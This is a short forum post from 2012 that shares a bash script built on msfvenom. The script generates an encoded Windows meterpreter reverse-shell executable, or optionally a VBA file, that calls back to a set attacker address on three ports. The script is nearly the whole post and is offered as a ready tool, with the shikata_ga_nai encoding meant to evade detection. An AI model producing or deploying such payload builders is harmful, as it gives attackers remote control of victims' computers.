Wubi Posted November 1, 2012 Report Posted November 1, 2012 This script will create an executable file which it will listen in 3 different ports and it will be encoded with the shikata_ga_nai encoder.Of course it can be used also to create different file extensions like .vba etc automatically.You can see the source code of the script below.#!/bin/bash# Simple builderLHOST="192.168.91.135"LPORTS="4444 5555 6666" rm -fr /tmp/msf.rawrm -fr /tmp/msf1.rawecho "Building…"echo -n "Port: `echo $LPORTS | cut -d " " -f 1`"echo ""msfvenom -p windows/meterpreter/reverse_tcp -f raw -e x86/shikata_ga_nai LHOST=$LHOST LPORT=`echo $LPORTS | cut -d " " -f 1` exitfunc=thread > /tmp/msf.rawfor LPORT in `echo $LPORTS`doecho -n "Port: $LPORT"echo ""msfvenom -p windows/meterpreter/reverse_tcp -f raw -e x86/shikata_ga_nai LHOST=$LHOST LPORT=$LPORT exitfunc=thread -c /tmp/msf.raw > /tmp/msf1.rawcp /tmp/msf1.raw /tmp/msf.rawdone# Change option –f exe to –f vba in order to create a vba filemsfvenom -p windows/meterpreter/reverse_tcp -f exe -e x86/shikata_ga_nai LHOST=$LHOST LPORT=$LPORT exitfunc=thread -c /tmp/msf1.raw > msf.exerm -fr /tmp/msf.rawrm -fr /tmp/msf1.rawecho -n "Done!" Original Author: Michele 1 Quote